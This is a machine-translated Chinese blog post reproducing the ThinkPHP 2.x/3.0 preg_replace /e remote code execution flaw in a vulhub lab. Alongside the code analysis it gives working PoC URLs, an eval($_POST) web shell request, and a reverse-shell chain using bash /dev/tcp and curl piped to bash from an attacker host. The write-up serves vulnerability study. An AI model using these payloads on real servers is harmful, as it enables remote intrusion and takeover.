当前位置:网站首页>ThinkPHP 2. X/3.0 vulnerability recurrence
ThinkPHP 2. X/3.0 vulnerability recurrence
2022-06-23 09:19:00 【K00sec】
ThinkPHP frame
ThinkPHP It's a model from Struts The structure is transplanted to improve and perfect web Open source lightweight application PHP frame .
ThinkPHP Can be found in Windows and Linux Wait for the operating system to run , Support MySql,Sqlite and PostgreSQL And other databases, and PDO Expand , It's a cross platform , Cross version and easy to use PHP frame .
ThinkPHP 2.x/3.0
summary
because ThinkPHP The controller is not detected in , This allows an attacker to execute remote commands without enabling forced routing .
| classification | details |
|---|---|
| cve Number | nothing |
| Threat level | High-risk |
| Types of loopholes | (RCE) Remote command execution |
| Affects version | ThinkPHP = 2.1/3.0 |
Environmental reproduction
[[email protected] ~]# cd /opt
[[email protected] opt]# git clone https://github.com/vulhub/vulhub.git
[[email protected] opt]# cd vulhub/thinkphp/2-rce/
[[email protected] 2-rce]# docker-compose up -d
[[email protected] 2-rce]# docker-compose ps
Name Command State Ports
------------------------------------------------------------------------------
2rce_web_1 apache2-foreground Up 0.0.0.0:8083->80/tcp,:::8083->80/tcp
# Access address IP:Port
Loophole principle
ThinkPHP 2.x The vulnerability is caused by ThinkPHP 2.x In the version , Use
preg_replaceOf/ePattern matching routing . Causes the user input parameter to be inserted into double quotation marks to execute , Cause arbitrary code execution . stay ThinkPHP 3.0 Version because Lite The pattern does not fix the vulnerability , Therefore, this arbitrary command execution vulnerability also exists .
# Regular statement
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
# If there is a regular character in the target character , Then replace with the replacement character , If... Is used in the regular rule at this time /e This modifier , There is a Code Execution Vulnerability
# e Only in preg_replace() Function , Reverse reference in the replacement string for normal replacement , Regard it as PHP Code evaluation , And replace the searched string with the result .
# preg_replace() function , Perform a regular expression search and replace .
preg_replace( Regular rule , Used to replace strings , The searched string )
# implode() Function returns a string composed of array elements , The default is null ("").
implode( Separator ,array)
test preg_replace() Command execution of function .
# Regular rule
<?php
$re = @preg_replace('/hack/','print_r("world");','Hello hack');
echo $re;
# Before use e When using this modifier ,preg_replace() The function will, according to the regularity, convert 'Hello hack' Match to hack Replace with 'print_r("world");' And then output .
# Hello print_r("world");
# @ The symbol indicates that no error message will be prompted .

# Use e The regularity of modifiers
<?php
$re = @preg_replace('/hack/e','print_r("world");','Hello hack');
echo $re;
# Use e After the embellishment ,'Hello hack' Match to hack Also replace with 'print_r("world");', But not directly , It's right print_r("world"); Implemented .
# stay preg_replace() When performing the regular operation, the string after the replacement is first checked 'Hello print_r("wolrd");' Implemented . So the result is output first "world" And then output "Hello 1", This output "1" What I understand is probably because print_r() Return status number after function output .

This e Modifier only in 7.0.0 The following versions It works .

Vulnerability analysis
visit ThinkPHP Range address .

Search inside the container range to find the loopholes .
Reference article :ThinkPHP A collection of penetrating ideas
# Execute in container
find . -name '*.php' | xargs grep -n 'preg_replace'

Copy to the local analysis search that contains preg_replace() Functional php file , See the code with vulnerability .
# There are loopholes
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); # (ws+b) matching (+) The preceding subexpression one or more times . Here, it means that the match contains zero or more s Of (...ws..b...) String . # (\w+) Match the letter 、 Numbers 、 Underline . Equivalent to '[A-Za-z0-9_]'.
# ^ Matches any character that is not in the specified range .

Look at a group first e Modifier execution method .
# example 1
<?php
$a = 'aahelloworldaa';
echo @preg_replace('@(hello)(world)@e','Hi',$a); # The first match hello, The second match world , And replace it with Hi.
## result
aaHiaa
# example 2
<?php
$a = 'aahelloworldaa';
$b = array();
echo @preg_replace('@(hello)(world)@e','$c["\\1"]="\\2";',$a);
print_r($c);
# result
aaworldaa
Array
(
[hello] => world
)
After matching the string , Yes
$c["\1"] = "\2"The two matching values are given to the array in a fixed position , The first value is the key , The second value is the value of the first key .Reference article :
ThinkPHP Series of vulnerabilities ThinkPHP 2.x Arbitrary code execution
# notice ./ThinkPHP/Lib/Think/Util/Dispatcher.class.php This file
# yes ThinkPHP A class in is used to complete URL analysis 、 Routing and scheduling .
# Dispatcher There is a way :
static public function dispatch() URL Map to the controller
public static function getPathInfo() Get the server's PATH_INFO Information
static public function routerCheck() Route detection
static private function parseUrl($route)
static private function getModule($var) Get the actual module name
static private function getGroup($var) Get the actual group name
# URL Mapper to controller
modular ( The controller class ) action ( Methods in class )
URL:http://127.0.0.1/projectName/index.php/ modular / action
Reference article :
# ThinkPHP 5.1 In the absence of a defined route, typical URL The access rules are :
http://serverName/index.php( Or other application entry files )/ modular / controller / operation /[ Parameter name / Parameter values ...
# Support switching to command line access , If you switch to the command line mode, the access rule is :
>php.exe index.php( Or other application entry files ) modular / controller / operation /[ Parameter name / Parameter values …]
# You can see , Whether it's URL Access or command line access , All use `PATH_INFO` Access address , among `PATH_INFO` The separator of can be set . Normal mode URL Access is no longer supported , However, parameters can be transferred in the normal way
php.exe index.php( Or other application entry files ) modular / controller / operation ? Parameter name = Parameter values &…
# If not PATHINFO Your server can be accessed in compatibility mode as follows :
http://serverName/index.php( Or other application entry files )?s=/ modular / controller / operation /[ Parameter name / Parameter values ...
# When necessary , We can in some way , Omit URL Modules and controllers inside .
stay Dispatcher Found in class
URL Map to the controllerMethodsstatic public function dispatch().
// Get the... Defined in the configuration file pathinfo The delimiter
$depr = C('URL_PATHINFO_DEPR');
// analysis PATHINFO Information
self::getPathInfo();
if(!self::routerCheck()){
// Detect routing rules If not, it will be scheduled according to the default rules URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); // With $depr Separate strings as delimiters , Returns an array
$var = array(); // establish $var An empty array
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// Direct access to groups is prohibited
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {
// Module name has not been defined yet
$var[C('VAR_MODULE')] = array_shift($paths); // Delete the first element in the array , And return the deleted value
}
$var[C('VAR_ACTION')] = array_shift($paths);
// Parse the rest of URL Parameters
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
'$var[\'\\1\']="\\2";'Yes$varArray to assign the specified key , And you can see that the following value is in double quotation marks . A simple demonstration of this double quotation mark .
${ expression }$ And curly braces are used to execute the code as a whole .php The double quotation marks in the can explain the variable , Single quotes do not interpret variables .

<?php
$depr = '/'; # $depr = C('URL_PATHINFO_DEPR');
$var = array();
$paths = '/a/b/c/d/e/f/'; # User entered parameters
$paths = explode($depr,trim($paths,'/')); # $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
# var_dump($paths);
$im = implode($depr, $paths);
# var_dump($im);
@preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', $im);
# Use regular to extract two values at a time, and then take one of the two values as the key of the array and the other as the value .
// [ (\w+)\/([^\/\/]+) ] ===> extract a/b ===> $var['\1']="\2"; ===> $var['a'] = "b";
var_dump($var);
## result
array(3) {
["a"]=>
string(1) "b"
["c"]=>
string(1) "d"
["e"]=>
string(1) "f"
}
Know from above Use
preg_replace() Used e Modifier , You can treat the second parameter as php Code execution .The third parameter$imIt is also a user controllable parameter .
# If the user enters malicious code
<?php
$depr = '/';
$var = array();
$paths = '/a/${phpinfo()}/c/d/e/f/';
$paths = explode($depr,trim($paths,'/'));
# var_dump($paths);
$im = implode($depr, $paths);
# var_dump($im);
@preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', $im);
var_dump($var);

because
"\\2"Double quotation marks. , Code execution can be generated , If it is a single quotation mark, the code will not be executed .

Loophole recurrence
According to the above
URL Access rulesstructure poc
# PoC
http://serverName/index.php( Or other application entry files )?s=/ modular / controller / operation /[ Parameter name / Parameter values ...
index.php?s=/a/b/c/${phpinfo()}/e/f
index.php?s=/a/b/c/{
${phpinfo()}}/e/f
# Just construct the code in an even number of positions .

Exploit the vulnerability to bounce a shell.
# Command execution exp
/index.php?s=/a/b/c/${@print(system(ls))}
# shell rebound exp
## Writing the contents of a file is a bounce shell The order of
[email protected]:/opt/http/main# vim shell.html
bash -i >& /dev/tcp/IP/Port 0>&1
## stay vps Open one on http service ( By default, the current directory for starting the service is web root directory )
(py3)
[email protected]:/opt/http/main# python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
(py2)
[email protected]:/opt/http/main# python2 -m SimpleHTTPServer 9999
Serving HTTP on 0.0.0.0 port 9999 ...
## Visit the shooting range to connect and capture packets , The modification request method is POST, Then use the following request url,POST Data is used to execute commands .
POST /index.php?s=/a/b/c/${@print(eval($_POST[1]))}/e/f HTTP/1.1
Host: 192.168.10.10:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.10.10:8083
Cookie: PHPSESSID=cb0754b879eb464c2baac8b10238fa4d
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
1=system("curl%20IP:Port/shell.html|bash");



边栏推荐
- Longest substring without repeated characters (C language)
- Redis学习笔记—地理信息定位(GEO)
- Custom tag - JSP tag Foundation
- Redis学习笔记—数据类型:集合(set)
- Redis学习笔记—Redis与Lua
- 全局快门和卷帘快门的区别
- Redis学习笔记—事务
- Redis learning notes RDB of persistence mechanism
- [CISCN2019 华北赛区 Day2 Web1]Hack World
- Set the CPU to have 16 address lines and 8 data lines, and use mreq as the access control line number Connection between memory and CPU
猜你喜欢

Simple student management
![[cloud native | kubernetes] kubernetes principle and installation (II)](/img/db/dd93bbcac6d0404d44f67d2da12880.png)
[cloud native | kubernetes] kubernetes principle and installation (II)

The sliding window of the force button "step by step" (209. sub array with the smallest length, 904. fruit basket)

Pizza ordering design - simple factory model

使用base64,展示图片

学习SCI论文绘制技巧(F)

Redis学习笔记—客户端通讯协议RESP
Redis learning notes - single key management

什么是闭包函数

ThinkPHP 2.x/3.0 漏洞复现
随机推荐
栈(Stack)的链式实现详解----线性结构
Opening, creating and storing files
Sequential representation and implementation of sequencelist -- linear structure
A method of realizing video call and interactive live broadcast in small programs
Redis learning notes - data type: string (string)
Redis学习笔记—数据类型:字符串(string)
【NanoPi2试用体验】裸机第一步
使用base64,展示图片
"Coach, I want to play basketball" -- AI Learning Series booklet for students who are making systems
ionic5表单输入框和单选按钮
Community article | mosn building subset optimization ideas sharing
MySQL故障案例 | mysqldump: Couldn’t execute ‘SELECT COLUMN_NAME
Correspondence between three-tier architecture and SSM
力扣之滑动窗口《循序渐进》(209.长度最小的子数组、904. 水果成篮)
Leetcode topic analysis contains duplicate II
Redis学习笔记—主从复制
Kotlin Series 1: getting started with basics
Best time to buy and sell stock II
swagger UI :%E2%80%8B
Redis learning notes - detailed explanation of redis benchmark